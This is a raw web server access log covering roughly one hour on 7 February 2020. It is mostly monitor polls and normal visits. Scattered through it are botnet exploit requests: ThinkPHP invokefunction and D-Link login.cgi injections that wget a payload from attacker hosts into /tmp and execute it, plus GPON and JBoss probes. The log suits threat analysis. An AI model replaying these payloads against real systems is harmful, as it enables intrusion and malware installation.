63.143.35.226 - - [07/Feb/2020:11:53:54 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [07/Feb/2020:11:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [07/Feb/2020:11:54:39 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [07/Feb/2020:11:54:49 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [07/Feb/2020:11:55:07 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [07/Feb/2020:11:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [07/Feb/2020:11:55:45 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
195.205.136.213 - - [07/Feb/2020:11:56:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
63.143.35.226 - - [07/Feb/2020:11:56:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [07/Feb/2020:11:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [07/Feb/2020:11:58:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [07/Feb/2020:11:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [07/Feb/2020:11:58:36 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
183.80.22.226 - - [07/Feb/2020:11:58:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.226 - - [07/Feb/2020:11:58:56 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [07/Feb/2020:11:59:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [07/Feb/2020:11:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.205.244 - - [07/Feb/2020:12:01:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.161.111.175 - - [07/Feb/2020:12:01:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:12:02:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:12:02:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:12:02:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
195.138.67.114 - - [07/Feb/2020:12:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:12:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [07/Feb/2020:12:02:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
77.91.88.153 - - [07/Feb/2020:12:03:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:12:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [07/Feb/2020:12:05:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.94.181.78 - - [07/Feb/2020:12:06:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.245.248.177 - - [07/Feb/2020:12:06:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:12:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.23.95 - - [07/Feb/2020:12:07:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.106.72.214 - - [07/Feb/2020:12:08:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
170.106.72.214 - - [07/Feb/2020:12:08:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
170.106.72.214 - - [07/Feb/2020:12:08:19 +0100] "\x16\x03\x01" 501 318 "-" "-"
170.106.72.214 - - [07/Feb/2020:12:08:19 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [07/Feb/2020:12:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.17.205 - - [07/Feb/2020:12:10:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [07/Feb/2020:12:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.34.166 - - [07/Feb/2020:12:11:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.70.32.210 - - [07/Feb/2020:12:14:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:12:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.34.85 - - [07/Feb/2020:12:15:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.189.37 - - [07/Feb/2020:12:16:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
130.255.136.183 - - [07/Feb/2020:12:19:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [07/Feb/2020:12:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.17.99.23 - - [07/Feb/2020:12:20:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.193.234.158 - - [07/Feb/2020:12:20:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.150.52.145 - - [07/Feb/2020:12:20:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.253.208.39 - - [07/Feb/2020:12:22:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.54.161.152 - - [07/Feb/2020:12:23:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [07/Feb/2020:12:26:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [07/Feb/2020:12:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.209.242 - - [07/Feb/2020:12:26:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.136.57 - - [07/Feb/2020:12:27:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.242.89 - - [07/Feb/2020:12:29:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.42.195.86 - - [07/Feb/2020:12:30:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.89.237.199 - - [07/Feb/2020:12:31:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.38.9.114 - - [07/Feb/2020:12:33:54 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [07/Feb/2020:12:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.47.41 - - [07/Feb/2020:12:35:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.166.227 - - [07/Feb/2020:12:37:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.254.86.212 - - [07/Feb/2020:12:37:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:12:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [07/Feb/2020:12:40:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [07/Feb/2020:12:40:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [07/Feb/2020:12:40:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [07/Feb/2020:12:41:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [07/Feb/2020:12:41:21 +0100] "GET /serverinfo/HtmlAdaptor?action=displayServerInfos HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:12:41:21 +0100] "GET /serverinfo/HtmlAdaptor?action=displayServerInfos HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
121.164.35.72 - - [07/Feb/2020:12:41:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:12:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [07/Feb/2020:12:41:45 +0100] "GET /serverinfo/HtmlAdaptor?action=displayServerInfos HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:12:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
108.217.250.135 - - [07/Feb/2020:12:45:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.253.80 - - [07/Feb/2020:12:45:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [07/Feb/2020:12:46:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [07/Feb/2020:12:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [07/Feb/2020:12:46:45 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:12:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.65.232 - - [07/Feb/2020:12:47:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.58.56.159 - - [07/Feb/2020:12:52:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:12:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.237.201.64 - - [07/Feb/2020:12:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [07/Feb/2020:12:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.65.201.71 - - [07/Feb/2020:12:53:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.80.89.238 - - [07/Feb/2020:12:53:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
108.217.250.135 - - [07/Feb/2020:12:54:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:12:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:12:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
